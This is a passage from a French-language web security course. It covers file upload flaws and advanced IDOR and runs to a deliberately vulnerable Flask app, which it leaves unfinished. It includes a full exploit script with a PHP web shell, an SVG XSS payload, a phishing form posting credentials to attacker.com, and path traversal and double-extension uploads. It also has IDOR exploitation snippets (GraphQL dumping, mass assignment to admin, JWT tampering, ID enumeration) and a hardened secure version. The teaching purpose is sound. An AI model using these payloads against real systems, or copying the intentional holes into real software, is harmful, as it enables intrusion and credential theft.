        return jsonify({'error': str(e)}), 500

# [X] ROUTE VULNÉRABLE : Serve Uploaded Files
@app.route('/uploads/<filename>')
def uploaded_file(filename):
    """
    [X] VULNÉRABLE : Sert les fichiers sans validation
    """
    # [X] Permet l'exécution de PHP, HTML, etc.
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

if __name__ == '__main__':
    print("[RAPIDE] File Upload (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples File Upload Vulnerabilities !")
    print("\n[DANGER] Vulnérabilités :")
    print("   1. Validation faible (extension seulement)")
    print("   2. Pas de validation du contenu (magic bytes)")
    print("   3. PHP/Scripts exécutables")
    print("   4. Path traversal possible")
    print("   5. Pas de limite de taille effective")
    print("   6. Pas de Content-Type validation")
    print("   7. Fichiers servis directement")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : TESTER LES ATTAQUES

**1. Lancer l'application :**

```bash
python file_upload_vulnerable.py
```

**2. Ouvrir http://localhost:5000**

**3. Test Attack 1 - PHP Web Shell :**

- Cliquer "Generate PHP Shell"
- Fichier `shell.php` uploadé
- Accéder : `http://localhost:5000/uploads/shell.php?cmd=whoami`

**Résultat :**
```
www-data
```

**[OK] RCE réussi !**

---

**4. Test Attack 2 - Stored XSS via SVG :**

- Cliquer "Generate Malicious SVG"
- Fichier `xss.svg` uploadé
- Visiter : `http://localhost:5000/uploads/xss.svg`

**Résultat :**
```
Alert: XSS via SVG! Cookie: session=...
```

**[OK] XSS exécuté !**

---

**5. Test Attack 3 - Path Traversal :**

- Cliquer "Test Path Traversal"
- Filename : `../../../evil.txt`

**Vérifier :**

```bash
ls -la ../../../evil.txt
# Si le fichier existe -> Path traversal réussi
```

---

**6. Test Attack 4 - Double Extension :**

- Cliquer "Test Double Extension"
- Upload : `shell.php.jpg`

**Selon la config Apache :**
- Si `.php` lu en premier -> RCE
- Si `.jpg` lu -> Bloqué

---

**7. Script d'exploitation complet :**

```python
# exploit_file_upload.py
import requests
from io import BytesIO

BASE_URL = "http://localhost:5000"

print("=" * 80)
print("FILE UPLOAD VULNERABILITIES - EXPLOITATION")
print("=" * 80)

# Attack 1: PHP Web Shell
print("\n1⃣  ATTACK 1: PHP Web Shell Upload")
print("-" * 80)

php_shell = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', BytesIO(php_shell.encode()), 'application/x-php')}

response = requests.post(f"{BASE_URL}/api/upload/document", files=files)
data = response.json()

if data.get('success'):
    print("[OK] PHP Shell uploaded successfully!")
    print(f"   URL: {data['url']}")
    
    # Test RCE
    shell_url = f"{BASE_URL}{data['url']}?cmd=whoami"
    rce_response = requests.get(shell_url)
    
    if rce_response.status_code == 200:
        print(f"   RCE Result: {rce_response.text.strip()}")
        print("   [ALERTE] FULL RCE ACHIEVED!")
    else:
        print("   RCE attempt failed (PHP might not be enabled)")
else:
    print("[X] Upload failed")

# Attack 2: Stored XSS via SVG
print("\n2⃣  ATTACK 2: Stored XSS via SVG")
print("-" * 80)

svg_payload = '''<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS via SVG!')</script>
</svg>'''

files = {'file': ('xss.svg', BytesIO(svg_payload.encode()), 'image/svg+xml')}

response = requests.post(f"{BASE_URL}/api/upload/profile", files=files)
data = response.json()

if data.get('success'):
    print("[OK] Malicious SVG uploaded!")
    print(f"   URL: {BASE_URL}{data['url']}")
    print("   Open in browser to trigger XSS")
else:
    print("[X] Upload failed")

# Attack 3: Malicious HTML
print("\n3⃣  ATTACK 3: Malicious HTML Upload")
print("-" * 80)

html_payload = '''<!DOCTYPE html>
<html>
<body>
<h1>Phishing Page</h1>
<script>
  // Steal credentials
  document.write('<form action="https://attacker.com/steal" method="POST">');
  document.write('<input name="user" placeholder="Username"><br>');
  document.write('<input name="pass" type="password" placeholder="Password"><br>');
  document.write('<input type="submit" value="Login">');
  document.write('</form>');
</script>
</body>
</html>'''

files = {'file': ('phishing.html', BytesIO(html_payload.encode()), 'text/html')}

response = requests.post(f"{BASE_URL}/api/upload/document", files=files)
data = response.json()

if data.get('success'):
    print("[OK] Phishing page uploaded!")
    print(f"   URL: {BASE_URL}{data['url']}")
    print("   Can be used for credential harvesting")
else:
    print("[X] Upload failed")

# Attack 4: Path Traversal Attempt
print("\n4⃣  ATTACK 4: Path Traversal")
print("-" * 80)

traversal_content = "This file was written via path traversal!"
files = {'file': ('../../../tmp/pwned.txt', BytesIO(traversal_content.encode()), 'text/plain')}

response = requests.post(f"{BASE_URL}/api/upload/custom", files=files)
data = response.json()

if data.get('success'):
    print("[OK] Path traversal might have worked!")
    print(f"   Check if /tmp/pwned.txt exists")
else:
    print("[X] Path traversal blocked or failed")

# Attack 5: Double Extension
print("\n5⃣  ATTACK 5: Double Extension")
print("-" * 80)

php_content = '<?php phpinfo(); ?>'
files = {'file': ('info.php.jpg', BytesIO(php_content.encode()), 'image/jpeg')}

response = requests.post(f"{BASE_URL}/api/upload/document", files=files)
data = response.json()

if data.get('success'):
    print("[OK] Double extension file uploaded!")
    print(f"   URL: {BASE_URL}{data['url']}")
    print("   Effectiveness depends on server configuration")
else:
    print("[X] Upload failed")

print("\n" + "=" * 80)
print("[ALERTE] CRITICAL VULNERABILITIES FOUND!")
print("Server allows arbitrary file uploads with minimal validation")
print("=" * 80)
```

**Exécuter :**

```bash
python exploit_file_upload.py
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# file_upload_secure.py
from flask import Flask, request, jsonify, send_from_directory
from flask_cors import CORS
import os
import magic  # python-magic
import hashlib
import uuid
from PIL import Image
from werkzeug.utils import secure_filename
import re

app = Flask(__name__)
CORS(app)

# [OK] Configuration sécurisée
UPLOAD_FOLDER = 'uploads_secure'
MAX_FILE_SIZE = 5 * 1024 * 1024  # 5MB
MAX_IMAGE_PIXELS = 10000 * 10000  # 100 megapixels

# [OK] Whitelist stricte
ALLOWED_EXTENSIONS = {
    'image': {'png', 'jpg', 'jpeg', 'gif'},
    'document': {'pdf', 'txt'}
}

ALLOWED_MIME_TYPES = {
    'image': {'image/png', 'image/jpeg', 'image/gif'},
    'document': {'application/pdf', 'text/plain'}
}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE

os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def validate_filename(filename):
    """
    [OK] Validation stricte du filename
    """
    # [OK] Longueur max
    if len(filename) > 100:
        return False
    
    # [OK] Caractères autorisés seulement
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        return False
    
    # [OK] Pas de double extensions dangereuses
    if filename.count('.') > 1:
        return False
    
    # [OK] Extension valide
    ext = filename.rsplit('.', 1)[1].lower() if '.' in filename else ''
    all_allowed = set()
    for exts in ALLOWED_EXTENSIONS.values():
        all_allowed.update(exts)
    
    return ext in all_allowed

def validate_file_content(file, file_type):
    """
    [OK] Validation du contenu réel (magic bytes)
    """
    # Lire les premiers bytes
    header = file.read(512)
    file.seek(0)  # Reset position
    
    # [OK] Utiliser python-magic pour détecter le vrai type
    mime = magic.from_buffer(header, mime=True)
    
    # [OK] Vérifier contre whitelist
    allowed_mimes = ALLOWED_MIME_TYPES.get(file_type, set())
    
    if mime not in allowed_mimes:
        return False, f"Invalid file type: {mime}"
    
    return True, mime

def validate_image(file_path):
    """
    [OK] Validation spécifique pour images
    """
    try:
        with Image.open(file_path) as img:
            # [OK] Vérifier dimensions
            width, height = img.size
            
            if width * height > MAX_IMAGE_PIXELS:
                return False, "Image too large"
            
            # [OK] Vérifier format
            if img.format.lower() not in ['png', 'jpeg', 'gif']:
                return False, "Invalid image format"
            
            # [OK] Re-encoder l'image pour supprimer metadata malveillante
            img_clean = img.copy()
            clean_path = file_path + '.clean'
            img_clean.save(clean_path, img.format)
            
            # Remplacer par version nettoyée
            os.replace(clean_path, file_path)
            
            return True, "OK"
            
    except Exception as e:
        return False, f"Image validation failed: {str(e)}"

def generate_safe_filename(original_filename):
    """
    [OK] Génère un filename sécurisé et unique
    """
    # Extraire extension
    ext = original_filename.rsplit('.', 1)[1].lower() if '.' in original_filename else ''
    
    # [OK] Générer UUID unique
    unique_id = str(uuid.uuid4())
    
    # [OK] Hash du nom original (pour traçabilité)
    name_hash = hashlib.sha256(original_filename.encode()).hexdigest()[:8]
    
    # [OK] Filename final : uuid_hash.ext
    return f"{unique_id}_{name_hash}.{ext}"

# [OK] ROUTE SÉCURISÉE 1 : Profile Picture
@app.route('/api/upload/profile', methods=['POST'])
def upload_profile_secure():
    """
    [OK] SÉCURISÉ : Validation complète
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    # [OK] Validation 1 : Filename
    if not validate_filename(file.filename):
        return jsonify({'error': 'Invalid filename'}), 400
    
    # [OK] Validation 2 : Extension
    ext = file.filename.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED_EXTENSIONS['image']:
        return jsonify({'error': 'Invalid file type'}), 400
    
    # [OK] Validation 3 : Content (magic bytes)
    is_valid, mime_or_error = validate_file_content(file, 'image')
    if not is_valid:
        return jsonify({'error': mime_or_error}), 400
    
    # [OK] Génération filename sécurisé
    safe_filename = generate_safe_filename(file.filename)
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
    
    # [OK] Sauvegarder temporairement
    file.save(file_path)
    
    # [OK] Validation 4 : Image spécifique
    is_valid_img, img_error = validate_image(file_path)
    if not is_valid_img:
        os.remove(file_path)
        return jsonify({'error': img_error}), 400
    
    file_size = os.path.getsize(file_path)
    
    return jsonify({
        'success': True,
        'message': 'Image uploaded successfully',
        'filename': safe_filename,
        'size': file_size,
        'original_name': file.filename
    })

# [OK] ROUTE SÉCURISÉE 2 : Document
@app.route('/api/upload/document', methods=['POST'])
def upload_document_secure():
    """
    [OK] SÉCURISÉ : Validation stricte documents
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No selected file'}), 400
    
    # [OK] Validations
    if not validate_filename(file.filename):
        return jsonify({'error': 'Invalid filename'}), 400
    
    ext = file.filename.rsplit('.', 1)[1].lower()
    if ext not in ALLOWED_EXTENSIONS['document']:
        return jsonify({'error': 'Only PDF and TXT allowed'}), 400
    
    # [OK] Magic bytes validation
    is_valid, mime_or_error = validate_file_content(file, 'document')
    if not is_valid:
        return jsonify({'error': mime_or_error}), 400
    
    # [OK] Safe filename
    safe_filename = generate_safe_filename(file.filename)
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)
    
    file.save(file_path)
    
    return jsonify({
        'success': True,
        'message': 'Document uploaded',
        'filename': safe_filename,
        'original_name': file.filename
    })

# [OK] ROUTE SÉCURISÉE : Serve files
@app.route('/uploads/<filename>')
def uploaded_file_secure(filename):
    """
    [OK] SÉCURISÉ : Headers appropriés
    """
    # [OK] Validation filename
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        return jsonify({'error': 'Invalid filename'}), 400
    
    file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    # [OK] Vérifier existence
    if not os.path.exists(file_path):
        return jsonify({'error': 'File not found'}), 404
    
    # [OK] Empêcher exécution
    response = send_from_directory(
        app.config['UPLOAD_FOLDER'], 
        filename,
        as_attachment=True  # [OK] Force téléchargement
    )
    
    # [OK] Headers de sécurité
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['Content-Security-Policy'] = "default-src 'none'"
    response.headers['X-Frame-Options'] = 'DENY'
    
    return response

if __name__ == '__main__':
    print("[SECURITE]  File Upload SÉCURISÉ sur http://localhost:5001")
    print("[OK] Protections :")
    print("   1. Validation filename strict (regex)")
    print("   2. Validation extension (whitelist)")
    print("   3. Validation contenu (magic bytes)")
    print("   4. Validation image (PIL + re-encoding)")
    print("   5. Filename généré (UUID + hash)")
    print("   6. Limite taille (5MB)")
    print("   7. Headers sécurité (nosniff, CSP)")
    print("   8. as_attachment (force download)")
    print("   9. Metadata cleaning")
    print("  10. Max pixels limit")
    
    try:
        import magic
        from PIL import Image
        app.run(debug=False, port=5001)
    except ImportError:
        print("\n[ATTENTION]  Installer dépendances : pip install python-magic pillow")
```

**Installer dépendances :**

```bash
pip install python-magic pillow

# Linux
sudo apt-get install libmagic1

# macOS
brew install libmagic
```

---

## [GRAPHIQUE] RÉCAPITULATIF FILE UPLOAD VULNERABILITIES

### [OK] Protections essentielles

| Protection | Efficacité | Complexité |
|-----------|-----------|-----------|
| Magic bytes validation | ***** | [ATTENTION] Moyen |
| Whitelist extensions stricte | ***** | [OK] Facile |
| Filename randomization (UUID) | ***** | [OK] Facile |
| Content-Type validation | **** | [OK] Facile |
| Image re-encoding | ***** | [ATTENTION] Moyen |
| Serve as attachment | ***** | [OK] Facile |
| Separate domain for uploads | ***** | [ATTENTION] Difficile |
| Antivirus scanning | ***** | [ATTENTION] Difficile |

---

### [X] Erreurs critiques

- [X] Validation extension seulement
- [X] Pas de magic bytes check
- [X] Filename contrôlé par utilisateur
- [X] Servir fichiers directement (exécution possible)
- [X] Pas de limite de taille
- [X] Accepter scripts (.php, .jsp, .aspx)
- [X] Pas de re-encoding images
- [X] Métadonnées non nettoyées

---

### [OBJECTIF] Checklist complète

```python
[OK] Whitelist extensions stricte (pas blacklist)
[OK] Validation magic bytes (python-magic)
[OK] Filename généré (UUID, pas user input)
[OK] Validation Content-Type HTTP
[OK] Limite taille fichier (5-10MB)
[OK] Image re-encoding (Pillow)
[OK] Metadata cleaning
[OK] Max pixels limit (DoS prevention)
[OK] Antivirus scan (ClamAV)
[OK] Separate storage (S3, CDN)
[OK] as_attachment header
[OK] X-Content-Type-Options: nosniff
[OK] CSP headers stricts
[OK] Dossier uploads hors webroot
[OK] Pas d'exécution scripts (.htaccess disable)
```

---

**Prêt pour Insecure Direct Object References (IDOR) - version avancée ?** [CLE]

# 22. INSECURE DIRECT OBJECT REFERENCES (IDOR) - ADVANCED

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'IDOR (révision) ?

**Définition :**
Vulnérabilité permettant à un attaquant d'**accéder directement à des objets/ressources** en manipulant les identifiants de référence (ID, UUID, clés) sans vérification d'autorisation appropriée.

**Analogie avancée :**

Imagine un hôtel avec des clés magnétiques :
- **IDOR Basique** : Chambres numérotées 101, 102, 103... Tu peux essayer toutes les clés
- **IDOR avec UUID** : Chambres avec codes complexes, mais la porte ne vérifie pas qui tu es
- **IDOR GraphQL** : Tu demandes "donne-moi les infos de TOUTES les chambres" et l'hôtel répond
- **IDOR Mass Assignment** : Tu changes ta réservation et ajoutes "VIP=true" sans permission
- **Blind IDOR** : Tu ne vois pas l'intérieur, mais tu sais si la porte s'ouvre ou non

-> Dans tous les cas : **accès sans vérification d'autorisation** !

---

## [RECHERCHE] TYPES AVANCÉS D'IDOR

### 1. **IDOR via GraphQL**

**Principe :** GraphQL permet des requêtes flexibles qui peuvent exposer des données non autorisées.

**Exemple vulnérable :**

```graphql
# Query
{
  user(id: 123) {
    name
    email
    privateNotes
    creditCard {
      number
      cvv
    }
  }
}
```

**Exploitation :**

```graphql
# Accès aux données de n'importe quel utilisateur
{
  user(id: 456) {  # ID d'une autre personne
    name
    email
    privateNotes
    creditCard {
      number
      cvv
    }
  }
}

# Ou pire : récupérer TOUS les utilisateurs
{
  users {
    edges {
      node {
        id
        email
        creditCard { number }
      }
    }
  }
}
```

---

### 2. **IDOR avec Mass Assignment**

**Principe :** Modifier des champs non autorisés en les incluant dans la requête.

**Code vulnérable :**

```python
@app.route('/api/user/profile', methods=['PUT'])
def update_profile():
    user_id = session['user_id']
    data = request.json
    
    # [X] VULNÉRABLE : Update tous les champs fournis
    for key, value in data.items():
        db.execute(f"UPDATE users SET {key} = ? WHERE id = ?", (value, user_id))
    
    return {'success': True}
```

**Exploitation :**

```json
{
  "name": "Alice",
  "email": "alice@example.com",
  "role": "admin",          // [X] Escalade de privilèges
  "balance": 999999,        // [X] Modification solde
  "is_verified": true       // [X] Bypass vérification
}
```

---

### 3. **IDOR via JWT Manipulation**

**Principe :** JWT avec `user_id` modifiable si secret faible ou algorithme `none`.

**JWT vulnérable :**

```json
{
  "user_id": 123,
  "role": "user",
  "exp": 1234567890
}
```

**Exploitation :**

```python
# Si secret faible ou algo 'none'
import jwt

# Décoder sans vérification
decoded = jwt.decode(token, options={"verify_signature": False})

# Modifier
decoded['user_id'] = 456  # [X] IDOR : changer d'utilisateur
decoded['role'] = 'admin'

# Re-encoder
# Si secret connu ou algo 'none'
malicious_token = jwt.encode(decoded, 'secret', algorithm='HS256')
```

---

### 4. **Blind IDOR**

**Principe :** Pas de retour direct, mais indices indirects (timing, erreurs différentes).

**Exemple :**

```python
@app.route('/api/document/<doc_id>/delete', methods=['DELETE'])
def delete_document(doc_id):
    user_id = session['user_id']
    
    doc = get_document(doc_id)
    
    if not doc:
        return {'error': 'Document not found'}, 404  # [X] Révèle existence
    
    if doc.owner_id != user_id:
        return {'error': 'Unauthorized'}, 403  # [X] Révèle que le doc existe
    
    delete(doc)
    return {'success': True}
```

**Exploitation :**

```python
# Tester tous les IDs
for doc_id in range(1, 10000):
    response = requests.delete(f'/api/document/{doc_id}/delete')
    
    if response.status_code == 403:
        print(f"Document {doc_id} exists (not mine)")
    elif response.status_code == 404:
        print(f"Document {doc_id} doesn't exist")
    elif response.status_code == 200:
        print(f"Document {doc_id} deleted (was mine)")
```

---

### 5. **IDOR Chain (combinaison)**

**Principe :** Enchaîner plusieurs IDOR pour atteindre un objectif.

**Scénario :**

```
1. IDOR 1 : Accéder au profil d'un autre user -> Récupérer son user_id
2. IDOR 2 : Utiliser ce user_id pour accéder à ses documents
3. IDOR 3 : Modifier un document pour y injecter du contenu malveillant
4. IDOR 4 : Partager ce document avec la victime
-> Résultat : XSS stocké via chaîne d'IDOR
```

---

### 6. **IDOR avec Encryption Faible**

**Principe :** IDs "chiffrés" mais avec algo faible ou prévisible.

**Exemple :**

```python
# [X] Chiffrement faible
import base64

def encode_id(user_id):
    return base64.b64encode(str(user_id).encode()).decode()

# URL : /profile/MTIz (base64 de "123")
```

**Exploitation :**

```python
# Décoder
user_id = base64.b64decode('MTIz').decode()  # "123"

# Modifier
new_id = base64.b64encode('456'.encode()).decode()  # "NDU2"

# Accéder
requests.get(f'/profile/{new_id}')
```

---

### 7. **IDOR via WebSocket**

**Principe :** Messages WebSocket sans vérification d'autorisation.

**Code vulnérable :**

```python
@socketio.on('get_messages')
def handle_get_messages(data):
    conversation_id = data['conversation_id']
    
    # [X] Pas de vérification que l'user appartient à la conversation
    messages = get_messages(conversation_id)
    
    emit('messages', {'messages': messages})
```

**Exploitation :**

```javascript
// Client WebSocket
socket.emit('get_messages', {
  conversation_id: 999  // [X] Conversation d'autres personnes
});

socket.on('messages', (data) => {
  console.log(data.messages);  // [OK] Messages privés obtenus
});
```

---

### 8. **IDOR Temporel (Time-based)**

**Principe :** Accès autorisé pendant une fenêtre temporelle, mais mal vérifié.

**Exemple :**

```python
@app.route('/api/share/<token>')
def access_shared_file(token):
    share = get_share_by_token(token)
    
    # [X] Vérification expiration, mais token prévisible
    if share.expires_at < datetime.now():
        return {'error': 'Link expired'}, 403
    
    return send_file(share.file_path)
```

**Exploitation :**

```python
# Si tokens prévisibles (UUID v1 avec timestamp)
import uuid
import datetime

# Générer tokens probables
for minute in range(-60, 60):
    timestamp = datetime.now() + datetime.timedelta(minutes=minute)
    # Essayer de deviner le token
```

---

### Cas réels avancés

**1. Facebook (2020) - GraphQL IDOR**

**Faille :** GraphQL permettait de requêter des données de n'importe quel utilisateur

```graphql
{
  node(id: "USER_ID") {
    ... on User {
      email
      phone_number
      private_photos
    }
  }
}
```

**Impact :** Accès à données privées

**Bounty :** $20,000

---

**2. GitHub (2020) - IDOR via API**

**Faille :** API permettait d'accéder aux repos privés via ID

```
GET /api/v3/repositories/12345
```

**Impact :** Code source privé exposé

---

**3. Instagram (2019) - Mass Assignment IDOR**

**Faille :** Endpoint permettait de modifier `is_verified` badge

```json
PUT /api/user/profile
{
  "bio": "My bio",
  "is_verified": true  // [X] Ajout du badge vérifié
}
```

**Bounty :** $30,000

---

**4. Uber (2016) - UUID IDOR**

**Faille :** UUIDs v1 prévisibles pour les courses

```
GET /api/trip/550e8400-e29b-41d4-a716-446655440000
```

**Impact :** Historique de trajets d'autres utilisateurs

**Bounty :** $5,000

---

## [CODE] EXERCICE 24 : IDOR ADVANCED

### Objectif

Application complète avec :
- API REST classique
- GraphQL API
- WebSocket real-time chat
- Document sharing avec tokens
- Profile avec mass assignment
- Multiple IDOR variants
- Protection complète

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# idor_advanced_vulnerable.py
from flask import Flask, request, jsonify, session, render_template_string
from flask_cors import CORS
from flask_socketio import SocketIO, emit
import sqlite3
import secrets
import hashlib
import json
from datetime import datetime, timedelta
import jwt
import base64

app = Flask(__name__)
app.secret_key = 'weak_secret_123'
CORS(app, supports_credentials=True)
socketio = SocketIO(app, cors_allowed_origins="*")

DB_FILE = 'idor_advanced.db'

def init_db():
    """Initialise la base de données"""
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            email TEXT,
            password TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            balance REAL DEFAULT 1000.00,
            is_verified BOOLEAN DEFAULT 0,
            is_premium BOOLEAN DEFAULT 0,
            private_notes TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS documents (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            owner_id INTEGER,
            title TEXT,
            content TEXT,
            is_private BOOLEAN DEFAULT 1,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS conversations (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            participant1_id INTEGER,
            participant2_id INTEGER,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS messages (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            conversation_id INTEGER,
            sender_id INTEGER,
            content TEXT,
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    cursor.execute('''
        CREATE TABLE IF NOT EXISTS share_tokens (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            document_id INTEGER,
            token TEXT UNIQUE,
            created_by INTEGER,
            expires_at TIMESTAMP,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Créer utilisateurs
    users = [
        ('alice', 'alice@example.com', 'alice123', 'user', 1000, 1, 1, 'Alice private notes'),
        ('bob', 'bob@example.com', 'bob123', 'user', 500, 0, 0, 'Bob secret diary'),
        ('admin', 'admin@example.com', 'admin123', 'admin', 5000, 1, 1, 'Admin confidential'),
        ('charlie', 'charlie@example.com', 'charlie123', 'user', 2000, 0, 1, 'Charlie personal')
    ]
    
    for username, email, password, role, balance, verified, premium, notes in users:
        try:
            hashed = hashlib.sha256(password.encode()).hexdigest()
            cursor.execute('''
                INSERT INTO users (username, email, password, role, balance, is_verified, is_premium, private_notes)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?)
            ''', (username, email, hashed, role, balance, verified, premium, notes))
        except sqlite3.IntegrityError:
            pass
    
    # Créer documents
    documents = [
        (1, 'Alice Private Doc', 'This is Alice\'s private document with sensitive data', 1),
        (1, 'Alice Public Doc', 'Public information', 0),
        (2, 'Bob Secret Plans', 'My secret business plans for 2024', 1),
        (3, 'Admin Config', 'Database passwords and API keys', 1),
        (4, 'Charlie Notes', 'Personal journal entries', 1)
    ]
    
    for owner_id, title, content, is_private in documents:
        try:
            cursor.execute('''
                INSERT INTO documents (owner_id, title, content, is_private)
                VALUES (?, ?, ?, ?)
            ''', (owner_id, title, content, is_private))
        except:
            pass
    
    # Créer conversations
    conversations = [(1, 2), (1, 3), (2, 4)]
    
    for p1, p2 in conversations:
        try:
            cursor.execute('''
                INSERT INTO conversations (participant1_id, participant2_id)
                VALUES (?, ?)
            ''', (p1, p2))
        except:
            pass
    
    # Messages
    messages = [
        (1, 1, 'Hi Bob, here are the private keys...'),
        (1, 2, 'Hello from Alice'),
        (2, 2, 'Hey Alice'),
        (3, 4, 'Charlie, I need your SSN')
    ]
    
    for conv_id, sender_id, content in messages:
        try:
            cursor.execute('''
                INSERT INTO messages (conversation_id, sender_id, content)
                VALUES (?, ?, ?)
            ''', (conv_id, sender_id, content))
        except:
            pass
    
    conn.commit()
    conn.close()

init_db()

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>IDOR Advanced Demo</title>
    <script src="https://cdn.socket.io/4.5.4/socket.io.min.js"></script>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1600px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(350px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, textarea, select {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 400px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        code {
            background: rgba(0,0,0,0.5);
            padding: 2px 6px;
            border-radius: 3px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[SECURISE] Advanced IDOR Platform</h1>
            <p>Multiple IDOR Vulnerability Variants</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - MULTIPLES IDOR AVANCÉS
        </div>
        
        <div class="grid">
            <!-- LOGIN -->
            <div class="card">
                <h3>[CLE] Login</h3>
                <input type="text" id="login-username" placeholder="Username" value="alice">
                <input type="password" id="login-password" placeholder="Password" value="alice123">
                <button onclick="login()">Login</button>
                <div style="margin-top: 15px; font-size: 0.9em;">
                    <strong>Users:</strong> alice/alice123, bob/bob123, admin/admin123
                </div>
            </div>
            
            <!-- PROFILE -->
            <div class="card">
                <h3>[UTILISATEUR] View Profile</h3>
                <input type="number" id="profile-id" placeholder="User ID" value="1">
                <button onclick="getProfile()">Get Profile</button>
                <button onclick="getProfileGraphQL()">Get via GraphQL</button>
            </div>
            
            <!-- UPDATE PROFILE -->
            <div class="card">
                <h3>[EDIT] Update Profile (Mass Assignment)</h3>
                <textarea id="update-data" rows="6" placeholder="JSON data">{
  "email": "newemail@example.com",
  "role": "admin",
  "balance": 999999,
  "is_verified": true
}</textarea>
                <button onclick="updateProfile()">Update</button>
            </div>
            
            <!-- DOCUMENTS -->
            <div class="card">
                <h3>[FICHIER] Access Document</h3>
                <input type="number" id="doc-id" placeholder="Document ID" value="1">
                <button onclick="getDocument()">Get Document</button>
                <button onclick="enumerateDocuments()">Enumerate All (1-100)</button>
            </div>
            
            <!-- SHARE TOKEN -->
            <div class="card">
                <h3>[LIEN] Generate Share Link</h3>
                <input type="number" id="share-doc-id" placeholder="Document ID" value="1">
                <button onclick="generateShareLink()">Generate Link</button>
                <div id="share-link" style="margin-top: 10px;"></div>
            </div>
            
            <!-- WEBSOCKET CHAT -->
            <div class="card">
                <h3>[SPEECH_BALLOON] Chat (WebSocket)</h3>
                <input type="number" id="conv-id" placeholder="Conversation ID" value="1">
                <button onclick="loadConversation()">Load Conversation</button>
                <div id="chat-messages" class="output" style="max-height: 200px;"></div>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output Log</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] IDOR Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Classic IDOR - Sequential IDs</h4>
                <p>Access any user profile by changing ID: <code>/api/user/1</code> -> <code>/api/user/2</code></p>
                <button onclick="attackClassicIDOR()">Test Classic IDOR</button>
            </div>
            
            <div class="attack-item">
                <h4>2. GraphQL IDOR - Batch Queries</h4>
                <p>Fetch multiple users at once via GraphQL</p>
                <button onclick="attackGraphQLIDOR()">Test GraphQL IDOR</button>
            </div>
            
            <div class="attack-item">
                <h4>3. Mass Assignment</h4>
